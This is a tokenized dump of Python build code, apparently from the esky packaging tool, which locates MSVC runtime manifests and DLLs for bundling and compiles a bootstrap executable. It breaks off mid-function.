"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "bdist", "\\u", "es", "ky_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "msvcrt", "\\u", "private", "\\u", "assem", "bly", "\\u", "files_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Get", " ", "(", "source", ",", "destinat", "ion", ")", " ", "tuple", "s", " ", "for", " ", "the", " ", "MS", "VC", "RT", " ", "DLL", "s", ",", " ", "manifest", " ", "etc", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "method", " ", "generat", "es", " ", "data\\u", "files", " ", "tuple", "s", " ", "for", " ", "the", " ", "MS", "VC", "RT", " ", "DLL", "s", ",", " ", "manifest", "\\", "10", ";", " ", " ", " ", " ", "and", " ", "associate", "d", " ", "para", "pher", "nali", "a", ".", " ", " ", "Includi", "ng", " ", "these", " ", "files", " ", "is", " ", "require", "d", " ", "for", "\\", "10", ";", " ", " ", " ", " ", "newe", "r", " ", "Pyth", "on", " ", "version", "s", " ", "if", " ", "you", " ", "want", " ", "to", " ", "run", " ", "on", " ", "machine", "s", " ", "tha", "t", " ", "don", "'", "t", " ", "have", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "late", "st", " ", "C", " ", "runt", "ime", " ", "install", "ed", " ", "*", "and", "*", " ", "you", " ", "don", "'", "t", " ", "want", " ", "to", " ", "run", " ", "the", " ", "special", "\\", "10", ";", " ", " ", " ", " ", "\"", "vcr", "edi", "st", "\\u", "x8", "6", ".", "exe", "\"", " ", "program", " ", "dur", "ing", " ", "your", " ", "installation", " ", "process", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Bun", "dli", "ng", " ", "is", " ", "only", " ", "perform", "ed", " ", "on", " ", "win32", " ", "pal", "tfo", "rms", ",", " ", "and", " ", "only", " ", "if", " ", "you", " ", "enable", "\\", "10", ";", " ", " ", " ", " ", "it", " ", "explicit", "ly", ".", " ", " ", "Be", "fore", " ", "doi", "ng", " ", "so", ",", " ", "care", "full", "y", " ", "check", " ", "whe", "ther", " ", "you", " ", "have", " ", "a", "\\", "10", ";", " ", " ", " ", " ", "license", " ", "to", " ", "distribute", " ", "these", " ", "files", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cls_", "=_", "bdist", "\\u", "es", "ky_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msvcrt", "\\u", "info_", "=_", "cls_", "._", "\\u", "get", "\\u", "msvcrt", "\\u", "info_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "msvcrt", "\\u", "info_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msvcrt", "\\u", "name_", "=_", "msvcrt", "\\u", "info_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", "Fin", "d", " ", "install", "ed", " ", "manifest", " ", "file", " ", "with", " ", "matchi", "ng", " ", "info_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "candidate_", "in_", "cls_", "._", "\\u", "find", "\\u", "msvcrt", "\\u", "manifest", "\\u", "files_", "(_", "msvcrt", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "manifest", "\\u", "file_", ",_", "msvcrt", "\\u", "dir_", "=_", "candidate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "with_", "open_", "(_", "manifest", "\\u", "file_", ",_", "\"", "rb", "\"_", ")_", "as_", "mf_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "manifest", "\\u", "data_", "=_", "mf_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "info_", "in_", "msvcrt", "\\u", "info_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "info_", "._", "encode_", "(_", ")_", "not_", "in_", "manifest", "\\u", "data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Environ", "ment", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "err_", "=_", "\"", "manifest", " ", "for", " ", "%", "s", " ", "not", " ", "found", "\"_", "%_", "(_", "msvcrt", "\\u", "info_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Run", "time", "Error_", "(_", "err_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", "Copy", " ", "the", " ", "manifest", " ", "and", " ", "matchi", "ng", " ", "director", "y", " ", "int", "o", " ", "the", " ", "freez", "e", " ", "dir", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "manifest", "\\u", "name_", "=_", "msvcrt", "\\u", "name_", "+_", "\".", "manifest", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "(_", "manifest", "\\u", "file_", ",_", "os_", "._", "path_", "._", "join_", "(_", "msvcrt", "\\u", "name_", ",_", "manifest", "\\u", "name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "fn", "m_", "in_", "os_", "._", "listdir_", "(_", "msvcrt", "\\u", "dir_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "(_", "os_", "._", "path_", "._", "join_", "(_", "msvcrt", "\\u", "dir_", ",_", "fn", "m_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "path_", "._", "join_", "(_", "msvcrt", "\\u", "name_", ",_", "fn", "m_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "bdist", "\\u", "es", "ky_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "get", "\\u", "msvcrt", "\\u", "info_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Get", " ", "info", " ", "abo", "ut", " ", "the", " ", "MS", "VC", "RT", " ", "in", " ", "use", " ", "by", " ", "this", " ", "python", " ", "executable", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "parse", "s", " ", "the", " ", "name", ",", " ", "version", " ", "and", " ", "public", " ", "key", " ", "token", " ", "out", " ", "of", " ", "the", " ", "exe", "\\", "10", ";", " ", " ", " ", " ", "manifest", " ", "and", " ", "return", "s", " ", "them", " ", "as", " ", "a", " ", "tuple", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "manifest", "\\u", "str_", "=_", "winr", "es_", "._", "get", "\\u", "app", "\\u", "manifest_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Environ", "ment", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "manifest_", "=_", "minidom_", "._", "parse", "String_", "(_", "manifest", "\\u", "str_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "assembly_", "in_", "manifest_", "._", "get", "Element", "s", "By", "Ta", "g", "Name_", "(_", "\"", "assem", "bly", "Ident", "it", "y", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "assembly_", "._", "attributes_", "[_", "\"", "name", "\"_", "]_", "._", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "name_", "._", "startswith_", "(_", "\"", "Micro", "soft", "\"_", ")_", "and_", "name_", "._", "endswith_", "(_", "\"", "CR", "T", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "version_", "=_", "assembly_", "._", "attributes_", "[_", "\"", "version", "\"_", "]_", "._", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pubkey_", "=_", "assembly_", "._", "attributes_", "[_", "\"", "public", "Key", "Token", "\"_", "]_", "._", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "(_", "name_", ",_", "version_", ",_", "pubkey_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "bdist", "\\u", "es", "ky_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "find", "\\u", "msvcrt", "\\u", "manifest", "\\u", "files_", "(_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Sear", "ch", " ", "the", " ", "system", " ", "for", " ", "candidate", " ", "MS", "VC", "RT", " ", "manifest", " ", "files", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "method", " ", "yield", "s", " ", "(", "manifest", "\\u", "file", ",", "msvcrt", "\\u", "dir", ")", " ", "tuple", "s", " ", "gi", "ving", " ", "a", " ", "candidate", "\\", "10", ";", " ", " ", " ", " ", "manifest", " ", "file", " ", "for", " ", "the", " ", "give", "n", " ", "assem", "bly", " ", "name", ",", " ", "and", " ", "the", " ", "director", "y", " ", "in", " ", "whi", "ch", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "actual", " ", "assem", "bly", " ", "data", " ", "files", " ", "are", " ", "found", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cls_", "=_", "bdist", "\\u", "es", "ky_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", "Sear", "ch", " ", "for", " ", "redis", "t", " ", "files", " ", "in", " ", "a", " ", "Vis", "ual", " ", "Stud", "io", " ", "install_", "\\u\\u\\uNL\\u\\u\\u_", "prog", "files_", "=_", "os_", "._", "path_", "._", "expand", "vars_", "(_", "\"%", "PROGRAM", "FILE", "S", "%\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "dn", "m_", "in_", "os_", "._", "listdir_", "(_", "prog", "files_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "dn", "m_", "._", "lower_", "(_", ")_", "._", "startswith_", "(_", "\"", "micros", "oft", " ", "visu", "al", " ", "studio", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dpath_", "=_", "os_", "._", "path_", "._", "join_", "(_", "prog", "files_", ",_", "dn", "m_", ",_", "\"", "VC", "\"_", ",_", "\"", "redis", "t", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "(_", "subdir_", ",_", "\\u_", ",_", "filenames_", ")_", "in_", "os_", "._", "walk_", "(_", "dpath_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "for_", "fn", "m_", "in_", "filenames_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "name_", "._", "lower_", "(_", ")_", "in_", "fn", "m_", "._", "lower_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "fn", "m_", "._", "lower_", "(_", ")_", "._", "endswith_", "(_", "\".", "manifest", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "mf_", "=_", "os_", "._", "path_", "._", "join_", "(_", "subdir_", ",_", "fn", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "md_", "=_", "cls_", "._", "\\u", "find", "\\u", "msvcrt", "\\u", "dir\\u", "for", "\\u", "manifest_", "(_", "name_", ",_", "mf_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "md_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "yield_", "(_", "mf_", ",_", "md_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", "Sear", "ch", " ", "for", " ", "manifests", " ", "install", "ed", " ", "in", " ", "the", " ", "Win", "Sx", "S", " ", "directory_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "wins", "xs", "\\u", "m_", "=_", "os_", "._", "path_", "._", "expand", "vars_", "(_", "\"%", "WIND", "IR", "%\\", "\\\\", "\\", "Win", "Sx", "S", "\\\\\\\\", "Manifest", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "fn", "m_", "in_", "os_", "._", "listdir_", "(_", "wins", "xs", "\\u", "m_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "name_", "._", "lower_", "(_", ")_", "in_", "fn", "m_", "._", "lower_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "fn", "m_", "._", "lower_", "(_", ")_", "._", "endswith_", "(_", "\".", "manifest", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "mf_", "=_", "os_", "._", "path_", "._", "join_", "(_", "wins", "xs", "\\u", "m_", ",_", "fn", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "md_", "=_", "cls_", "._", "\\u", "find", "\\u", "msvcrt", "\\u", "dir\\u", "for", "\\u", "manifest_", "(_", "name_", ",_", "mf_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "md_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "yield_", "(_", "mf_", ",_", "md_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "wins", "xs_", "=_", "os_", "._", "path_", "._", "expand", "vars_", "(_", "\"%", "WIND", "IR", "%\\", "\\\\", "\\", "Win", "Sx", "S", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "fn", "m_", "in_", "os_", "._", "listdir_", "(_", "wins", "xs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "name_", "._", "lower_", "(_", ")_", "in_", "fn", "m_", "._", "lower_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "fn", "m_", "._", "lower_", "(_", ")_", "._", "endswith_", "(_", "\".", "manifest", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "mf_", "=_", "os_", "._", "path_", "._", "join_", "(_", "wins", "xs_", ",_", "fn", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "md_", "=_", "cls_", "._", "\\u", "find", "\\u", "msvcrt", "\\u", "dir\\u", "for", "\\u", "manifest_", "(_", "name_", ",_", "mf_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "md_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "yield_", "(_", "mf_", ",_", "md_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "bdist", "\\u", "es", "ky_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "find", "\\u", "msvcrt", "\\u", "dir\\u", "for", "\\u", "manifest_", "(_", "msvcrt", "\\u", "name_", ",_", "manifest", "\\u", "file_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Fin", "d", " ", "the", " ", "director", "y", " ", "contain", "ing", " ", "data", " ", "files", " ", "for", " ", "the", " ", "give", "n", " ", "manifest", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "searche", "s", " ", "a", " ", "few", " ", "common", " ", "location", "s", " ", "for", " ", "the", " ", "data", " ", "files", " ", "tha", "t", " ", "go", " ", "with", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "give", "n", " ", "manifest", " ", "file", ".", " ", " ", "If", " ", "a", " ", "suit", "able", " ", "director", "y", " ", "is", " ", "found", " ", "then", " ", "it", " ", "is", "\\", "10", ";", " ", " ", " ", " ", "return", "ed", ",", " ", "other", "wis", "e", " ", "Non", "e", " ", "is", " ", "return", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", "The", " ", "manifest", " ", "file", " ", "mig", "ht", " ", "be", " ", "next", " ", "to", " ", "the", " ", "dir", ",", " ", "insi", "de", " ", "the", " ", "dir", ",", " ", "or_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "in", " ", "a", " ", "subdir", " ", "named", " ", "\"", "Manifest", "s", "\".", " ", " ", "Walk", " ", "aro", "und", " ", "till", " ", "we", " ", "find", " ", "it", "._", "\\u\\u\\uNL\\u\\u\\u_", "msvcrt", "\\u", "dir_", "=_", "\".\"_", "._", "join_", "(_", "manifest", "\\u", "file_", "._", "split_", "(_", "\".\"_", ")_", "[_", ":_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "isdir_", "(_", "msvcrt", "\\u", "dir_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "msvcrt", "\\u", "dir_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msvcrt", "\\u", "basename_", "=_", "os_", "._", "path_", "._", "basename_", "(_", "msvcrt", "\\u", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msvcrt", "\\u", "parent_", "=_", "os_", "._", "path_", "._", "dirname_", "(_", "os_", "._", "path_", "._", "dirname_", "(_", "msvcrt", "\\u", "dir_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msvcrt", "\\u", "dir_", "=_", "os_", "._", "path_", "._", "join_", "(_", "msvcrt", "\\u", "parent_", ",_", "msvcrt", "\\u", "basename_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "isdir_", "(_", "msvcrt", "\\u", "dir_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "msvcrt", "\\u", "dir_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msvcrt", "\\u", "dir_", "=_", "os_", "._", "path_", "._", "join_", "(_", "msvcrt", "\\u", "parent_", ",_", "msvcrt", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "isdir_", "(_", "msvcrt", "\\u", "dir_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "msvcrt", "\\u", "dir_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "bdist", "\\u", "es", "ky_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "compile", "\\u", "to", "\\u", "boots", "trap", "\\u", "exe_", "(_", "self_", ",_", "exe_", ",_", "source_", ",_", "relpath_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Compil", "e", " ", "the", " ", "give", "n", " ", "source", "code", " ", "int", "o", " ", "a", " ", "bootstrapp", "ing", " ", "exe", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "method", " ", "compile", "s", " ", "the", " ", "give", "n", " ", "source", "code", " ", "int", "o", " ", "a", " ", "stand", "-", "alo", "ne", " ", "exe", " ", "usi", "ng", "\\", "10", ";", " ", " ", " ", " ", "Py", "Py", ",", " ", "then", " ", "store", "s", " ", "tha", "t", " ", "in", " ", "the", " ", "boots", "trap", " ", "env", " ", "under", " ", "the", " ", "name", " ", "of", " ", "the", " ", "give", "n", "\\", "10", ";", " ", " ", " ", " ", "Executable", " ", "object", ".", " ", " ", "If", " ", "the", " ", "source", " ", "has", " ", "bee", "n", " ", "previ", "ously", " ", "compile", "d", " ", "then", " ", "a", "\\", "10", ";", " ", " ", " ", " ", "cache", "d", " ", "version", " ", "of", " ", "the", " ", "exe", " ", "may", " ", "be", " ", "used", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "relpath_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "relpath_", "=_", "exe_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "source_", "=_", "\"\\u\\u", "rpy", "tho", "n", "\\u\\u", " ", "=", " ", "Tru", "e", "\\\\", "n", "\"_", "+_", "source_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cdi", "r_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "tempdir_", ",_", "\"", "compile", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "cdi", "r_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "mkdir_", "(_", "cdi", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "source", "\\u", "hash_", "=_", "hashlib_", "._", "md5_", "(_", "source_", ")_", "._", "hexdigest_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "outname_", "=_", "\"", "boots", "trap", "\\u", "%", "s", ".", "%", "s", "\"_", "%_", "(_", "source", "\\u", "hash_", ",_", "get", "\\u", "platform_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "exe_", "._", "gui", "\\u", "only_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "outname_", "+=_", "\".", "gui", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "sys_", "._", "platform_", "==_", "\"", "win32", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "outname_", "+=_", "\".", "exe", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", "Fi", "rst", " ", "try", " ", "to", " ", "use", " ", "a", " ", "precom", "pile", "d", " ", "version", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "COMPIL", "ED", "\\u", "BOOT", "STRA", "P", "\\u", "CACHE_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "outfile_", "=_", "os_", "._", "path_", "._", "join_", "(_", "COMPIL", "ED", "\\u", "BOOT", "STRA", "P", "\\u", "CACHE_", ",_", "outname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "exists_", "(_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "copy", "\\u", "to", "\\u", "boots", "trap", "\\u", "env_", "(_", "outfile_", ",_", "relpath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", "Ot", "her", "wis", "e", " ", "we", " ", "have", " ", "to", " ", "compile", " ", "it", " ", "ane", "w", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "outfile_", "=_", "self_", "._", "\\u", "compile", "d\\u", "exe", "s_", "[_", "(_", "source", "\\u", "hash_", ",_", "exe_", "._", "gui", "\\u", "only_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "infile_", "=_", "os_", "._", "path_", "._", "join_", "(_", "cdi", "r_", ",_", "\"", "boots", "trap", ".", "py", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "outfile_", "=_", "os_", "._", "path_", "._", "join_", "(_", "cdi", "r_", ",_", "outname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "open_", "(_", "infile_", ",_", "\"", "wt", "\"_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u 